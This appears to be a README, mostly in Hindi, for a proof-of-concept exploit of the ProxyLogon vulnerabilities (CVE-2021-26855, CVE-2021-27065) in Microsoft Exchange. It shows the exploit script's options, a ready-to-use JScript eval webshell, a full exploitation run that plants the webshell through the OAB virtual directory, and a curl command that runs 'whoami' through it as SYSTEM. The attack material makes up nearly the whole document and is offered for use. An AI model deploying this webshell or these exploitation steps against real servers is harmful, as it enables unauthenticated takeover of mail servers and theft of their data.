
CVE-2021-26855 और CVE-2021-27065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। Exchange में बिना प्रमाणीकरण के RCE।
CVE-2021-26855 और CVE-2021-27065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो निम्नलिखित संसाधनों में वर्णित अनुसार माइक्रोसॉफ्ट एक्सचेंज पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देता है:
एक्सप्लॉइटेशन के लिए फ्रंटएंड एक्सचेंज सर्वर URL (जैसे https://exchange.example.org) और सिस्टम पर किसी उपयोगकर्ता का ईमेल पता जानना आवश्यक है। एडमिन SID और बैकएंड सर्वर से लीक हो सकते हैं।
$ python exploit.py -h
usage: exploit.py [-h] [--frontend FRONTEND] [--email EMAIL] [--sid SID]
[--webshell WEBSHELL] [--path PATH]
[--backend BACKEND]
[--proxy PROXY]
proxylogon proof-of-concept
optional arguments:
-h, --help show this help message and exit
--frontend FRONTEND external url to exchange (e.g. https://exchange.example.org)
--email EMAIL valid email on the target machine
--sid SID exchange admin sid
--webshell WEBSHELL webshell to upload
--path PATH desired path to webshell on host
--backend BACKEND [optional] backend host (leaked in X-CalculatedBETarget)
--proxy PROXY [optional] proxy traffic (e.g. http://127.0.0.1:8080)
$ cat <<EOF > webshell.aspx
<script language="JScript" runat="server">
function Page_Load(){
eval(Request["kxpprfgvnosz"],"unsafe");
}
</script>
EOF
$ python exploit.py --frontend https://172.16.59.7 --backend exchange.hafnium.local \
--email [email protected] \
--webshell webshell.aspx \
--path 'C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\ecp\\auth\\o.aspx'
Retrieving backend via RPC
Backend: exchange.corp.contoso.com
Identified SID: S-1-5-21-...-500
Admin SID: S-1-5-21-...-500
Authenticating via proxylogon
Looking up OAB virtual directory
OAB virtual directory: OAB (Default Web Site)
Injecting payload into OAB ExternalUrl
Resetting OAB virtual directory
Enjoy your webshell!
$ curl -s -k https://172.16.59.7/ecp/auth/o.aspx \
-d 'kxpprfgvnosz=Response.Write(
new ActiveXObject("WScript.Shell")
.Exec("cmd /c whoami")
.StdOut
.ReadAll()
);' | head -n 1
nt authority\system